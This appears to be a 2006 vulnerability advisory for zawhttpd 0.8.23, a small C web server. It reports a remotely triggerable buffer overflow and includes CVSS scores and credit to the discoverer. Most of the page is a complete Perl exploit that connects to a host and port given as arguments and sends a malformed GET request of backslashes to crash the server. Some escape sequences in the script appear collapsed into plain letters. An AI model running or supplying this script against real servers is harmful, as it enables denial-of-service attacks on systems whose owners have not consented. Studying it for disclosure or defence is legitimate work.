zawhttpd - Buffer Overflow

2006.05.09
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Name: zawhttpd Version: 0.8.23 previous version probably too. Language: C Problem: Buffer Overflow Vendor: http://www.norz.org/zawhttpd.html Discovered by: Kamil 'K3' Sienicki Description: zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support, keep-alive persistent connections, IPv6 support, GET and HEAD requests, chunked encoding and content-range, directory listing, basic authentication, access logging, daemon mode, and more. Problem: A remote user can supply a specially crafted data which crash server. Exploit: #!/usr/bin/perl # zawhttpd Buffer Overflow Exploit # by Kamil 'K3' Sienicki use IO::Socket; use strict; my($socket) = ""; if($socket = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => $ARGV[1], Proto => "TCP")) { print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ..."; print $socket "GET \\\\\\\\\\ HTTP/1.0rnrn"; close($socket); } else { print "perl zawhttpd.pl localhost 80 n"; print "Cannot connect to $ARGV[0]:$ARGV[1]n"; } -- Kamil 'K3' Sienicki


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